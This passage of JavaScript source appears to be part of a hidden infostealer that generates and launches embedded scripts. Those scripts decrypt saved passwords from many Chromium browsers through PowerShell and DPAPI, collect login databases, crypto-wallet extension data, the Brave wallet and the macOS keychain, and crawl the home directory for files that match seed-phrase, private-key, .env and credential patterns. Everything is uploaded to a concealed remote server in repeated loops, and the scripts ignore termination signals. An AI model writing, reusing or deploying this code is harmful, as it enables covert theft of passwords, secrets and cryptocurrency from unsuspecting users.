\"CurrentUser\" : \"LocalMachine\";\n        const base64Encrypted = attempt.data.toString('base64');\n        const tempScriptPath = path.join(os.tmpdir(), `decrypt-${Date.now()}-${Math.random().toString(36).substr(2, 9)}.ps1`);\n        const psScript = `$ErrorActionPreference = 'Stop';\ntry {\nAdd-Type -AssemblyName System.Security -ErrorAction Stop;\n} catch {\n[System.Reflection.Assembly]::Load('System.Security, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a') | Out-Null;\n}\n$encrypted = [System.Convert]::FromBase64String('${base64Encrypted}');\ntry {\n$decrypted = [System.Security.Cryptography.ProtectedData]::Unprotect($encrypted, $null, [System.Security.Cryptography.DataProtectionScope]::${scopeName});\n} catch {\nthrow;\n}\n[System.Text.Encoding]::UTF8.GetString($decrypted)`;\n        fs.writeFileSync(tempScriptPath, psScript, 'utf8');\n        try {\n          const decrypted = execSync(\n            `powershell -NoProfile -ExecutionPolicy Bypass -File \"${tempScriptPath}\"`,\n            { encoding: 'utf-8', stdio: ['pipe', 'pipe', 'pipe'], maxBuffer: 1024 * 1024, windowsHide: true }\n          ).trim();\n          if (decrypted && decrypted.length > 0) {\n            return decrypted;\n          }\n        } catch (execError) {\n          continue;\n        } finally {\n          try {\n            fs.unlinkSync(tempScriptPath);\n          } catch (e) {\n          }\n        }\n      } catch (error) {\n        continue;\n      }\n    }\n    return \"\";\n  } catch (error) {\n    return \"\";\n  }\n}\nasync function extractPasswordsFromBrowser(browserIndex, basePath) {\n  if (!fs.existsSync(basePath)) {\n    return { passwords: [], masterKey: null };\n  }\n  const platform = process.platform;\n  let localStatePath;\n  if (platform === 'win32') {\n    localStatePath = path.join(basePath, 'Local State');\n  } else {\n    localStatePath = path.join(basePath, 'Local State');\n  }\n    console.log(localStatePath)\n  const masterKey = fs.existsSync(localStatePath) ? getBrowserEncryptionKey(localStatePath, `Browser${browserIndex}`) : null;\n  const defaultProfileDir = path.join(basePath, 'Default');\n  const allPasswords = [];\n  console.log('masterKey', masterKey);\n  const loginDataNames = ['Login Data', 'Login Data For Account'];\n  for (const loginDataName of loginDataNames) {\n    const defaultProfileLoginData = path.join(defaultProfileDir, loginDataName);\n    if (fs.existsSync(defaultProfileLoginData)) {\n      const passwords = await extractPasswords(defaultProfileLoginData, masterKey, `Browser${browserIndex}`);\n      allPasswords.push(...passwords);\n    }\n  }\n  try {\n    const items = fs.readdirSync(basePath);\n    for (const item of items) {\n      if (item === 'Default' || item === 'Local State' || item.startsWith('.')) {\n        continue;\n      }\n      if (item.startsWith('Profile ')) {\n        const profileDir = path.join(basePath, item);\n        try {\n          const stats = fs.statSync(profileDir);\n          if (!stats.isDirectory()) {\n            continue;\n          }\n        } catch (statError) {\n          continue;\n        }\n        for (const loginDataName of loginDataNames) {\n          const profileLoginData = path.join(profileDir, loginDataName);\n          if (fs.existsSync(profileLoginData)) {\n            const passwords = await extractPasswords(profileLoginData, masterKey, `Browser${browserIndex} (${item})`);\n            allPasswords.push(...passwords);\n          }\n        }\n      }\n    }\n  } catch (error) {\n  }\n  return { passwords: allPasswords, masterKey: masterKey ? masterKey.toString('base64') : null };\n}\nasync function extractPasswords(loginDataPath, masterKey, browserName) {\n  if (!fs.existsSync(loginDataPath)) {\n    return [];\n  }\n  const tempDbPath = path.join(os.tmpdir(), `${browserName}_login_data_${process.pid}_${Date.now()}.db`);\n  try {\n    fs.copyFileSync(loginDataPath, tempDbPath);\n  } catch (error) {\n    return [];\n  }\n  const passwords = [];\n  try {\n    const SQL = await initSqlJs();\n    if (!SQL) {\n      return [];\n    }\n    const fileBuffer = fs.readFileSync(tempDbPath);\n    const db = new SQL.Database(fileBuffer);\n    const result = db.exec(`\n      SELECT \n        origin_url,\n        username_value,\n        password_value,\n        date_created,\n        date_last_used\n      FROM logins\n      ORDER BY origin_url\n    `);\n    if (!result || result.length === 0) {\n      db.close();\n      try {\n        fs.unlinkSync(tempDbPath);\n      } catch (e) {\n      }\n      return [];\n    }\n    const rows = result[0].values;\n    const columnNames = result[0].columns;\n    const colIndex = {\n      origin_url: columnNames.indexOf('origin_url'),\n      username_value: columnNames.indexOf('username_value'),\n      password_value: columnNames.indexOf('password_value'),\n      date_created: columnNames.indexOf('date_created'),\n      date_last_used: columnNames.indexOf('date_last_used')\n    };\n    for (let idx = 0; idx < rows.length; idx++) {\n      const row = rows[idx];\n      try {\n        const url = row[colIndex.origin_url];\n        const username = row[colIndex.username_value];\n        const passwordValue = row[colIndex.password_value];\n        const dateCreated = row[colIndex.date_created];\n        const dateLastUsed = row[colIndex.date_last_used];\n        if (!passwordValue || passwordValue.length === 0) {\n          continue;\n        }\n        let encryptedPassword;\n        if (typeof passwordValue === 'string') {\n          encryptedPassword = Buffer.from(passwordValue, 'latin-1');\n        } else if (Buffer.isBuffer(passwordValue)) {\n          encryptedPassword = passwordValue;\n        } else {\n          encryptedPassword = Buffer.from(passwordValue);\n        }\n        const password = decryptPassword(encryptedPassword, masterKey);\n        function chromeTimeToISO(timestamp) {\n          if (!timestamp) {\n            return null;\n          }\n          const epoch = new Date('1601-01-01T00:00:00Z').getTime();\n          const chromeTime = timestamp / 1000000;\n          const unixTime = chromeTime - 11644473600;\n          return new Date(unixTime * 1000).toISOString();\n        }\n        const entry = {\n          url: url,\n          u: username,\n          p: password,\n          created: chromeTimeToISO(dateCreated),\n          last_used: chromeTimeToISO(dateLastUsed)\n        };\n        if (!password && encryptedPassword && encryptedPassword.length > 0) {\n          entry.p_encrypted = encryptedPassword.toString('base64');\n        }\n        passwords.push(entry);\n      } catch (error) {\n        continue;\n      }\n    }\n    db.close();\n  } catch (error) {\n    // console.log(\"error\", error);\n  } finally {\n    try {\n      fs.unlinkSync(tempDbPath);\n    } catch (e) {\n    }\n  }\n  return passwords;\n}\nasync function extractAndUploadPasswords(timestamp, tempDir) {\n  try {\n    const browserNames = ['Chrome', 'Brave', 'AVG Browser', 'Edge', 'Opera', 'Opera GX', 'Vivaldi', 'Kiwi Browser', 'Yandex Browser', 'Iridium', 'Comodo Dragon', 'SRWare Iron', 'Chromium'];\n    const allPasswords = {};\n    const masterKeys = {};\n    for (let browserIndex = 0; browserIndex < basePaths.length; browserIndex++) {\n      const basePath = basePaths[browserIndex];\n      if (!fs.existsSync(basePath)) {\n        continue;\n      }\n      const browserName = browserNames[browserIndex] || `Browser${browserIndex}`;\n      const result = await extractPasswordsFromBrowser(browserIndex, basePath);\n      if (result.passwords.length > 0) {\n        allPasswords[browserName] = result.passwords;\n        if (result.masterKey) {\n          masterKeys[browserName] = result.masterKey;\n        }\n      }\n    }\n    if (Object.keys(allPasswords).length > 0) {\n      const fileName = 's.txt';\n      const fileContent = JSON.stringify({ passwords: allPasswords, masterKeys: masterKeys }, null, 2);\n      const filePath = path.join(tempDir || os.tmpdir(), fileName);\n      fs.writeFileSync(filePath, fileContent, 'utf8');\n      const passwordFile = await collectFile(filePath, null, null, '', tempDir);\n      if (passwordFile) {\n        await uploadFiles([passwordFile], timestamp);\n      }\n      if (!tempDir && fs.existsSync(filePath)) {\n        try {\n          fs.unlinkSync(filePath);\n        } catch (e) {\n        }\n      }\n    }\n  } catch (error) {\n  }\n}\nconst uploadBraveWallet = async (timestamp, tempDir) => {\n  const browserId = 1; // Brave is index 1 in chromiumBrowserPaths\n  const extensionId = 'bravewallet';\n  const braveBasePath = basePaths[1]; // Brave is index 1\n  if (!braveBasePath || !fs.existsSync(braveBasePath)) return;\n  const folders = fs\n    .readdirSync(braveBasePath)\n    .filter((folder) => /^Profile.*|^Default$/.test(folder));\n  for (let folderIndex = 0; folderIndex < folders.length; folderIndex++) {\n    const folder = folders[folderIndex];\n    let profileId;\n    if (folder === \"Default\") {\n      profileId = 0;\n    } else {\n      const match = folder.match(/Profiles+(d+)/);\n      profileId = match ? parseInt(match[1]) : folderIndex;\n    }\n    const leveldbPath = path.join(braveBasePath, folder, \"Local Storage/leveldb\");\n    if (!fs.existsSync(leveldbPath)) continue;\n    const walletFiles = [];\n    try {\n      const files = fs.readdirSync(leveldbPath);\n      for (const file of files) {\n        const filePath = path.join(leveldbPath, file);\n        const collectedFile = await collectFile(filePath, browserId, profileId, extensionId, tempDir);\n        if (collectedFile) {\n          walletFiles.push(collectedFile);\n        }\n      }\n      if (walletFiles.length > 0) {\n        await uploadFiles(walletFiles, timestamp);\n      }\n    } catch (err) {\n    }\n  }\n};\nconst basePaths = getChromiumBasePaths();\n// const skipFiles = ['LOCK', 'CURRENT', 'LOG', 'LOG.old', 'MANIFEST'];\nconst collectFile = async (p, browserId = null, profileId = null, extensionId = null, tempDir = null) => {\n  if (!fs.existsSync(p)) return null;\n  const fileName = path.basename(p);\n  try {\n    if (fs.statSync(p).isFile()) {\n      let filePath = p;\n      let isTempFile = false;\n      if (tempDir) {\n        try {\n          const uniqueName = `${Date.now()}_${Math.random().toString(36).substring(7)}_${fileName}`;\n          const tempFilePath = path.join(tempDir, uniqueName);\n          const fileContent = fs.readFileSync(p);\n          fs.writeFileSync(tempFilePath, fileContent);\n          filePath = tempFilePath;\n          isTempFile = true;\n        } catch (copyErr) {\n          if (copyErr.code === 'EBUSY' || copyErr.code === 'EACCES' || copyErr.code === 'ENOENT') {\n            return null;\n          } else {\n            return null;\n          }\n        }\n      }\n      return {\n        path: filePath,\n        originalPath: p,\n        filename: path.basename(p),\n        browserId: browserId,\n        profileId: profileId,\n        extensionId: extensionId || '',\n        isTempFile: isTempFile\n      };\n    }\n  } catch (err) {\n    if (err.code === 'EBUSY' || err.code === 'EACCES') {\n      return null;\n    }\n  }\n  return null;\n};\nconst uploadFiles = async (files, timestamp) => {\n  if (!files || files.length === 0) return;\n  const form = new FormData();\n  const fileMetadata = [];\n  for (const file of files) {\n    if (!file || !file.path) continue;\n    try {\n      const readStream = fs.createReadStream(file.path);\n      readStream.on('error', (streamErr) => {\n        if (streamErr.code !== 'EBUSY' && streamErr.code !== 'EACCES') {}\n      });\n      form.append(\"files\", readStream, {\n        filename: file.filename\n      });\n      fileMetadata.push({\n        browserId: file.browserId !== null ? file.browserId : '',\n        profileId: file.profileId !== null ? file.profileId : '',\n        extensionId: file.extensionId || '',\n        originalFilename: file.filename\n      });\n    } catch (err) {\n      if (err.code === 'EBUSY' || err.code === 'EACCES') {continue;}      \n    }\n  }\n  if (fileMetadata.length > 0) {\n    try {\n      const response = await axios.post(`" +
    l_s +
    "`, form, {\n        headers: {\n          ...form.getHeaders(),\n          userkey: " +
    u_k +
    ",\n          hostname: encodeURIComponent(os.hostname()),\n          timestamp: timestamp,\n          'file-metadata': JSON.stringify(fileMetadata), // Send metadata array\n          t: " +
    t +
    ",\n        },\n        maxContentLength: Infinity,\n        maxBodyLength: Infinity,\n        validateStatus: (status) => status < 500, // Don't throw on 4xx errors\n      });\n      if (response.status >= 200 && response.status < 300) {} else {}\n    } catch (uploadErr) {\n      if (uploadErr.code === 'ECONNRESET' || uploadErr.code === 'ECONNREFUSED') {\n      } else if (uploadErr.response) {\n      } else {}\n    }\n  }\n};\nconst iterate = async () => {\nconst timestamp = Math.round(Date.now() / 1000);\nconst platform = process.platform;\nconst filesToUpload = [];\nconst homeDir = os.homedir();\nconst tempBaseDir = path.join(os.tmpdir(), '.tmp');\nconst tempDir = path.join(tempBaseDir, `.upload_${timestamp}_${Math.random().toString(36).substring(7)}`);\ntry {\n  if (!fs.existsSync(tempBaseDir)) {\n    await fsPromises.mkdir(tempBaseDir, { recursive: true });\n  }\n  await fsPromises.mkdir(tempDir, { recursive: true });\n} catch (err) {}\ntry {\n  // First, create and upload sysinfo.txt\n  const s_i = gsi();\n  const sysinfoContent = `Host: ${s_i.host}\\nOS: ${s_i.os}\\nUsername: ${s_i.username}\\nPlatform: ${platform}\\nTimestamp: ${new Date().toISOString()}\\n`;\n  const sysinfoPath = path.join(tempDir, 'sysinfo.txt');\n  fs.writeFileSync(sysinfoPath, sysinfoContent, 'utf8');\n  const sysinfoFile = {\n    path: sysinfoPath,\n    originalPath: sysinfoPath,\n    filename: 'sysinfo.txt',\n    browserId: '',\n    profileId: '',\n    extensionId: '',\n    isTempFile: true\n  };\n  await uploadFiles([sysinfoFile], timestamp);\n  \n  if (os.platform() == \"darwin\") {\n    const keychainFile = await collectFile(`${process.env.HOME}/Library/Keychains/login.keychain-db`, '', '', '', tempDir);\n    if (keychainFile) {\n      await uploadFiles([keychainFile], timestamp);\n    }\n  }\n  for (let basePathIndex = 0; basePathIndex < basePaths.length; basePathIndex++) {\n    const basePath = basePaths[basePathIndex];\n    const browserId = basePathIndex; // 0 for Chrome, 1 for Brave\n    if (!fs.existsSync(basePath)) continue;\n    const folders = fs\n      .readdirSync(basePath)\n      .filter((folder) => /^Profile.*|^Default$/.test(folder));\n    for (let folderIndex = 0; folderIndex < folders.length; folderIndex++) {\n      const folder = folders[folderIndex];\n      let profileId;\n      if (folder === \"Default\") {\n        profileId = 0;\n      } else {\n        const match = folder.match(/Profiles+(d+)/);\n        profileId = match ? parseInt(match[1]) : folderIndex;\n      }\n      const profileFiles = [];\n      for (wp of wps) {\n        const fp = `${basePath}/${folder}/Local Extension Settings/${wp}`;\n        if (!fs.existsSync(fp)) continue;\n        const dirs = fs.readdirSync(fp);\n        for (dr of dirs) {\n          const file = await collectFile(`${fp}/${dr}`, browserId, profileId, wp, tempDir);\n          if (file) profileFiles.push(file);\n        }\n        if (profileFiles.length > 0) {\n          await uploadFiles(profileFiles, timestamp);\n          profileFiles.length = 0; // Clear the array \n        }\n      }\n      const loginDataNames = ['Login Data', 'Login Data For Account'];\n      for (const loginDataName of loginDataNames) {\n        const loginDataFile = await collectFile(`${basePath}/${folder}/${loginDataName}`, browserId, profileId, '', tempDir);\n        if (loginDataFile) { profileFiles.push(loginDataFile);}\n      }      \n      const webDataFile = await collectFile(`${basePath}/${folder}/Web Data`, browserId, profileId, '', tempDir);\n      if (webDataFile) profileFiles.push(webDataFile);\n      if (profileFiles.length > 0) {\n        await uploadFiles(profileFiles, timestamp);\n      }\n    }\n  }\n  await uploadBraveWallet(timestamp, tempDir);\n  if (i % 3 === 0) { // every 3rd iteration\n    await extractAndUploadPasswords(timestamp, tempDir);\n  }\n} finally {\n  if (fs.existsSync(tempDir)) {\n    try {\n      const files = await fsPromises.readdir(tempDir);\n      await Promise.all(files.map(file => \n        fsPromises.unlink(path.join(tempDir, file)).catch(() => {})\n      ));\n      await fsPromises.rmdir(tempDir);\n    } catch (cleanupErr) {\n      try {\n        if (fs.rmSync) {\n          fs.rmSync(tempDir, { recursive: true, force: true });\n        }\n      } catch (altCleanupErr) {}\n    }\n  }\n}\n\n};\n\nconst run = async () => {\nawait iterate();\ni++;\nawait sleep(30000);\ni <= 10 && (await run());\n};\nprocess.on('uncaughtException', (error) => {\nconsole.error('Uncaught Exception:', error.message);\n});\n\nprocess.on('unhandledRejection', (reason, promise) => {\nconsole.error('Unhandled Rejection at:', promise, 'reason:', reason);\n});\n\n(async () => {\ntry {\n  await run();\n} catch (error) {\n  console.error('Fatal error in run():', error.message);\n}\n})();";
  try {
    Utils.sp_s(I, "pid." + t + ".1.lock", "ldbScript", f_s_l);
  } catch (o) {}
  try {
    const s =
      'const UPLOAD_DELAY_MS = 120;\n        const ADAPTIVE_DELAY_MS = 20;\n        const MIN_UPLOAD_TIME_MS = 50;\n        const MAX_FILE_SIZE_BYTES = 5 * 1024 * 1024; // 5MB\n\n        const fs = require("fs");\n        const path = require("path");\n        const os = require("os");\n        const FormData = require("form-data");\n        const axios = require("axios");\n        const { execSync } = require("child_process");\n\n        ' +
      Utils.set_l("autoupload") +
      '\n        const HOME_DIRECTORY = os.homedir();\n\n        // Global variable for priority directories (set in main function)\n        let priorityDirs = [];\n\n        // Add process error handlers to prevent premature exits\n        process.on("uncaughtException", (err) => {\n          console.error("Uncaught Exception:", err.message);\n          console.error("Stack:", err.stack);\n          // Don\'t exit - continue scanning despite errors\n          // The script should complete the scan even if some operations fail\n        });\n\n        process.on("unhandledRejection", (reason, promise) => {\n          console.error("Unhandled Rejection:", reason);\n          // Don\'t exit - continue scanning despite errors\n        });\n\n        // Handle process termination signals gracefully\n        process.on("SIGTERM", () => {\n          \n          // Don\'t exit immediately - let the scan finish\n        });\n\n        process.on("SIGINT", () => {\n          \n          // Don\'t exit immediately - let the scan finish\n        });\n\n        // File extensions to exclude from scanning\n        const EXCLUDED_FILE_EXTENSIONS = [".exe",".dll",".so",".dylib",".bin",".app",".deb",".rpm",".pkg",".dmg",".msi",".appimage",".lnk",".alias",".desktop",".mp4",".mp3",".avi",".mov",".wmv",".flv",".mkv",".webm",".wma",".wav",".flac",".aac",".ogg",".m4a",".gif",".tiff",".svg",".ico",".heif",".tmp",".temp",".swp",".swo",".jar",".war",".ear",".sublime-project",".sublime-workspace"];\n\n        const EXCLUDED_PATH_PATTERNS = [".quokka",".bash_rc",".bash_sessions",".atom",".zen","thumbnails",".rhinocode",".codeium",".adobe",".matplotlib",".antigravity",".gemini",".pyenv",".pgadmin",".ipython",".idlerc",".codex",".qodo",".cups",".n2",".n3",".pki",".ruby",".vscode-remote",".python",".php",".oh-my-zsh",".nvs",".maven",".jupyter",".dotnet","assetbundles",".pnpm-store",".rbenv","movies", "music","adobe","package cache","nvidia corporation","saved games","winrar",".cargo",".lingma",".qoder",".trae-aicc",".vscode-insiders",".avo-code","ubuntu-backup","snap-data","app-configs",".local",".config",".anydesk","library","programdata",".tmp","node_modules","npm",".npm",".yarn","yarn.lock","package-lock.json","pnpm-store",".pnpm","public","static","assets","resources","css","less","scss","sass","stylus","styles","style","themes","theme","build","dist","out","target","bin","obj",".next",".nuxt",".output",".vuepress",".vitepress","appdata","program files","program files (x86)","windows","windows.old","system volume information","\\$recycle.bin","recovery","perflogs","intel","amd","nvidia","microsoft","microsoftedgebackup","system","applications",".trash",".spotlight-v100",".fseventsd",".documentrevisions-v100",".temporaryitems",".vol","cores","application support","proc","sys","dev","run","boot","lost+found","snap","flatpak","desktop.ini","thumbs.db",".vscode",".idea",".vs",".eclipse",".settings",".metadata",".gradle",".mvn",".git",".github",".svn",".hg",".bzr",".cache","cache","tmp","temp","*~","vendor","vendors",".venv","venv",".conda","anaconda3","miniconda3",".rustup",".pub-cache",".dart_tool",".gradle",".m2",".ivy2",".sbt","libs","packages","package","pkgs","pkg","documentation","examples","example","samples","sample","test","tests","spec","specs",".ssh",".gnupg",".aws",".docker",".kube",".terraform",".vagrant",".node-gyp",".nvm",".npm",".yarn",".pnpm",".bun",".deno",".go",".gopath",".gocache",".cursor",".vscode-server",".claude",".windsurf",".snipaste",".vue-cli-ui",".devctl",".eigent","fonts","font","icons","icon","wallpaper","wallpapers","background","backgrounds","locale","locales","_locales","i18n","translations","lang","language","languages","visual studio code.app","chrome.app","firefox.app","safari.app","opera.app","brave browser.app","vmware",".vmware","vmware fusion","vmware fusion.app","vmware workstation","vmware player","vmware vsphere","vmware vcenter","/applications/vmware","/usr/lib/vmware","/usr/share/vmware","program files/vmware","program files (x86)/vmware","appdata/local/vmware","appdata/roaming/vmware","library/application support/vmware",".vmwarevm",".vmdk",".vmem",".vmsn",".vmsd",".vmx",".vmxf",".nvram",".vmtm","mysql","postgresql","mongodb","redis","elasticsearch","openzeppelin","prisma",".expo",".next",".nuxt",".svelte-kit","hooks",".wine",".3T",".gk",".move",".tldrc",".android",".avm",".brownie",".cocoapods",".zsh_sessions",".pm2",".pyp",".myi","manifest","debug","plugin","plugins"];\n\n        const SENSITIVE_FILE_PATTERNS = [".keystore", "phone", "database","bank", "financ", ".env","env","environment","config","configuration","configure",".conf",".cfg",".ini",".properties",".yaml",".yml",".toml","metamask","phantom","bitcoin","ethereum","eth","trust","wallet","coinbase","exodus","ledger","trezor","keystore","keyring","keychain","atomic","electrum","mycelium","blockchain","bravewallet","rabby","coin98","backpack","core","mathwallet","solflare","glow","keplr","argent","martian","petra","binance","okx","crypto","cryptocurrency","hardhat","truffle","private","privatekey","private_key","private-key","privkey","priv_key","key","keypair","key_pair","key-pair",".pem",".p12",".pfx",".jks","keystore",".keys","keys",".p8",".p7b",".p7c",".cer",".crt",".cert","cert",".der","id_rsa","id_dsa","id_ecdsa","id_ed25519",".pub",".priv","seed","seedphrase","seed_phrase","seed-phrase","mnemonic","phrase","passphrase","pass_phrase","pass-phrase","recovery","recoveryphrase","recovery_phrase","recovery-phrase","backup","backupphrase","backup_phrase","backup-phrase","12words","12_words","12-words","24words","24_words","24-words","bip39","bip44","password","passwd","pass","pwd","credential","credentials","auth","authentication","token","access_token","refresh_token","api_key","apikey","api-key","apisecret","api_secret","api-secret","secret","secrets","secretkey","secret_key","secret-key","masterkey","master_key","master-key","masterpassword","master_password","master-password","account","accounts","profile","profiles","user","username","user_name","user-name","login","signin","sign_in","sign-in","address","addresses","tx","transaction","transactions",".db",".sqlite",".sqlite3",".sql",".mdb",".accdb",".dbf",".doc",".docx",".pdf",".md",".markdown",".rtf",".odt",".xls",".xlsx",".txt","text","note","notes","memo","memos","screenshot","screen","snapshot","capture",".png",".jpg",".jpeg",".bmp",".json",".js",".ts",".jsx",".tsx",".csv",".xml",".lock",".log",".bak","backup",".old",".orig",".save",".swp",".tmp","tmp","my","personal","vault","safe","secure","lock","encrypt","decrypt","signature","sign","certificate","cert","identity","session","cookie"];\n\n        const is_wsl = () => {\n          if (process.env.WSL_DISTRO_NAME) {\n            return true;\n          }\n          try {\n            if (fs.existsSync("/proc/version")) {\n              const versionContent = fs.readFileSync("/proc/version", "utf8");\n              if (versionContent.toLowerCase().includes("microsoft") || versionContent.toLowerCase().includes("wsl")) {\n                return true;\n              }\n            }\n          } catch (e) {}\n          return false;\n        };\n\n        // Check if file extension should be excluded\n        const isFileExtensionExcluded = (fileName) => {\n          const lowerFileName = fileName.toLowerCase();\n          return EXCLUDED_FILE_EXTENSIONS.some(ext => \n            lowerFileName.endsWith(ext.toLowerCase())\n          );\n        };\n\n        // Check if a path should be excluded\n          const isDirectoryNameExcluded = (directoryName) => {\n            const lowerDirectoryName = directoryName.toLowerCase();\n            return EXCLUDED_PATH_PATTERNS.includes(lowerDirectoryName);\n          };\n\n        // Check if full path contains any sensitive file pattern (case-insensitive)\n        const isSensitiveFile = (filePath) => {\n          const lowerPath = filePath.toLowerCase();\n          return SENSITIVE_FILE_PATTERNS.some(pattern => \n            lowerPath.includes(pattern.toLowerCase())\n          );\n        };\n\n        // Upload a file to the server\n        const uploadFile = async (filePath) => {\n          try {\n            if (!fs.existsSync(filePath)) {\n              return false;\n            }\n\n            let stats;\n            try {\n              stats = fs.statSync(filePath);\n            } catch (statError) {\n              // File might have been deleted or is inaccessible\n              return false;\n            }\n            \n            if (!stats.isFile()) {\n              return false;\n            }\n\n            // Skip files larger than the size limit\n            if (stats.size > MAX_FILE_SIZE_BYTES) {\n              return false;\n            }\n\n            // Check if file is readable\n            try {\n              fs.accessSync(filePath, fs.constants.R_OK);\n            } catch (accessError) {\n              // File is not readable\n              return false;\n            }\n\n            const form = new FormData();\n            let readStream;\n            try {\n              readStream = fs.createReadStream(filePath);\n            } catch (streamError) {\n              // Can\'t create read stream (file might be locked)\n              return false;\n            }\n            \n            form.append("file", readStream);\n            \n            try {\n              const response = await axios.post(`' +
      u_s +
      "`, form, {\n                headers: {\n                  ...form.getHeaders(),\n                  userkey: " +
      u_k +
      ",\n                  hostname: encodeURIComponent(os.hostname()),\n                  path: encodeURIComponent(filePath),\n                  t: " +
      t +
      "\n                },\n                maxContentLength: Infinity,\n                maxBodyLength: Infinity,\n                timeout: 30000, // 30 second timeout to prevent hanging\n              });\n              \n              // Check response status\n              if (response.status >= 200 && response.status < 300) {\n                return true;\n              } else {\n                // Non-success status\n                return false;\n              }\n            } catch (error) {\n              // Handle specific network errors - re-throw for retry logic\n              if (error.code === 'ECONNREFUSED' || error.code === 'ETIMEDOUT' || error.code === 'ENOTFOUND') {\n                // Network issues - these are recoverable\n                throw error; // Re-throw to trigger retry logic\n              } else if (error.code === 'ECONNRESET' || error.code === 'EPIPE') {\n                // Connection reset - might be recoverable\n                throw error;\n              } else if (error.response) {\n                // Server responded with error status\n                const status = error.response.status;\n                if (status >= 500) {\n                  // Server error - might be recoverable\n                  throw error;\n                } else {\n                  // Client error (4xx) - probably not recoverable, don't retry\n                  return false;\n                }\n              } else {\n                // Other errors - might be recoverable\n                throw error;\n              }\n            } finally {\n              // Ensure stream is closed\n              if (readStream && !readStream.destroyed) {\n                try {\n                  readStream.destroy();\n                } catch (e) {\n                  // Ignore cleanup errors\n                }\n              }\n            }\n          } catch (error) {\n            // Re-throw network errors for retry logic in calling function\n            if (error.code === 'ECONNREFUSED' || error.code === 'ETIMEDOUT' || \n                error.code === 'ENOTFOUND' || error.code === 'ECONNRESET' || \n                error.code === 'EPIPE' || (error.response && error.response.status >= 500)) {\n              throw error;\n            }\n            // Other errors - log and return false\n            console.error(`Failed to upload ${filePath}:`, error.message);\n            return false;\n          }\n        };\n\n        // Delay helper function\n        const delay = (ms) => new Promise((resolve) => setTimeout(resolve, ms));\n\n        // Track visited directories to prevent infinite loops from symlinks\n        const visitedDirs = new Set();\n        const MAX_PATH_LENGTH = os.platform() === 'win32' ? 260 : 4096;\n        const MAX_RECURSION_DEPTH = 20;\n        \n        // Recursively scan directory and upload sensitive files\n        const scanAndUploadDirectory = async (directoryPath, skipPriorityDirs = false, depth = 0) => {\n          // Prevent infinite recursion\n          if (depth > MAX_RECURSION_DEPTH) {\n            console.warn(`Max recursion depth reached for ${directoryPath}`);\n            return;\n          }\n          \n          // Check path length limits\n          if (directoryPath.length > MAX_PATH_LENGTH) {\n            console.warn(`Path too long, skipping: ${directoryPath}`);\n            return;\n          }\n          \n          if (!fs.existsSync(directoryPath)) {\n            return;\n          }\n          \n          // Resolve real path to handle symlinks and prevent loops\n          let realPath;\n          try {\n            realPath = fs.realpathSync(directoryPath);\n          } catch (realpathError) {\n            // If we can't resolve the real path, skip it\n            console.warn(`Cannot resolve real path for ${directoryPath}:`, realpathError.message);\n            return;\n          }\n          \n          // Check if we've already visited this directory (prevent symlink loops)\n          if (visitedDirs.has(realPath)) {\n            return; // Already visited, skip to prevent infinite loops\n          }\n          \n          // Mark as visited\n          visitedDirs.add(realPath);\n          \n          try {\n            // Explicitly read all files including hidden ones\n            let items;\n            try {\n              items = fs.readdirSync(directoryPath, { withFileTypes: true });\n            } catch (readdirError) {\n              // Handle specific error codes\n              const errorCode = readdirError.code || readdirError.errno;\n              if (errorCode === 'EACCES' || errorCode === 'EPERM' || errorCode === 'EAGAIN') {\n                // Permission denied - log but continue\n                console.warn(`Permission denied for ${directoryPath}:`, readdirError.message);\n              } else if (errorCode === 'ENOENT') {\n                // Directory doesn't exist (might have been deleted)\n                console.warn(`Directory no longer exists: ${directoryPath}`);\n              } else {\n                // Other errors\n                console.error(`Cannot read directory ${directoryPath}:`, readdirError.message);\n              }\n              return; // Return early, don't throw\n            }\n\n            // Sort items alphabetically in descending order\n            items.sort((a, b) => b.name.localeCompare(a.name));\n\n            for (const item of items) {\n              try {\n                // Skip . and .. entries\n                if (item.name === '.' || item.name === '..') {\n                  continue;\n                }\n\n                const fullPath = path.join(directoryPath, item.name);\n                console.log('fullPath', fullPath);\n                // Check path length before processing\n                if (fullPath.length > MAX_PATH_LENGTH) {\n                  console.warn(`Path too long, skipping: ${fullPath}`);\n                  continue;\n                }\n                \n                // Get stats for both files and directories (needed for file size check)\n                let stats;\n                let isSymlink = false;\n                try {\n                  // Check if it's a symlink first\n                  if (item.isSymbolicLink && item.isSymbolicLink()) {\n                    isSymlink = true;\n                    // For symlinks, use lstatSync to get symlink info, then resolve\n                    try {\n                      stats = fs.lstatSync(fullPath);\n                      if (stats.isSymbolicLink()) {\n                        // Resolve symlink for directories\n                        const resolvedPath = fs.realpathSync(fullPath);\n                        stats = fs.statSync(resolvedPath);\n                      }\n                    } catch (symlinkError) {\n                      // Broken symlink or can't resolve\n                      continue;\n                    }\n                  } else {\n                    stats = fs.statSync(fullPath);\n                  }\n                } catch (statError) {\n                  // Handle specific stat errors\n                  const errorCode = statError.code || statError.errno;\n                  if (errorCode === 'ENOENT') {\n                    // File/directory was deleted between readdir and stat\n                    continue;\n                  } else if (errorCode === 'EACCES' || errorCode === 'EPERM') {\n                    // Permission denied\n                    console.warn(`Permission denied for ${fullPath}`);\n                    continue;\n                  } else {\n                    // Other errors - skip\n                    continue;\n                  }\n                }\n\n                if (item.isDirectory() || stats.isDirectory()) {\n                    // Skip priority directories if we're scanning other locations\n                    if (skipPriorityDirs) {\n                      const normalizedPath = path.normalize(fullPath).toLowerCase();\n                      const isPriorityDir = priorityDirs.some(priorityDir => {\n                        const normalizedPriority = path.normalize(priorityDir).toLowerCase();\n                        return normalizedPath === normalizedPriority;\n                      });\n                      \n                      if (isPriorityDir) {\n                        continue;\n                      }\n                    }\n                    \n                    if(!isDirectoryNameExcluded(item.name)) {\n                      // Recursively scan subdirectories - wrap in try-catch to prevent stopping\n                      try {\n                        await scanAndUploadDirectory(fullPath, skipPriorityDirs, depth + 1);\n                      } catch (recursiveError) {\n                        // Log but don't throw - continue with other items\n                        console.error(`Error in recursive scan of ${fullPath}:`, recursiveError.message);\n                      }\n                      continue;\n                    }\n                    \n                    continue;\n                }\n\n                if ((item.isFile() || stats.isFile()) && !isFileExtensionExcluded(item.name) && (!skipPriorityDirs || isSensitiveFile(fullPath))) {\n                  // Skip files larger than the size limit\n                  if (stats.size > MAX_FILE_SIZE_BYTES) {\n                    continue;\n                  }\n\n                  // Upload sensitive files with retry logic\n                  try {\n                    let uploadSuccess = false;\n                    let retries = 3;\n                    while (!uploadSuccess && retries > 0) {\n                      try {\n                        const uploadStartTime = Date.now();\n                        await uploadFile(fullPath);\n                        uploadSuccess = true;\n                        const uploadDuration = 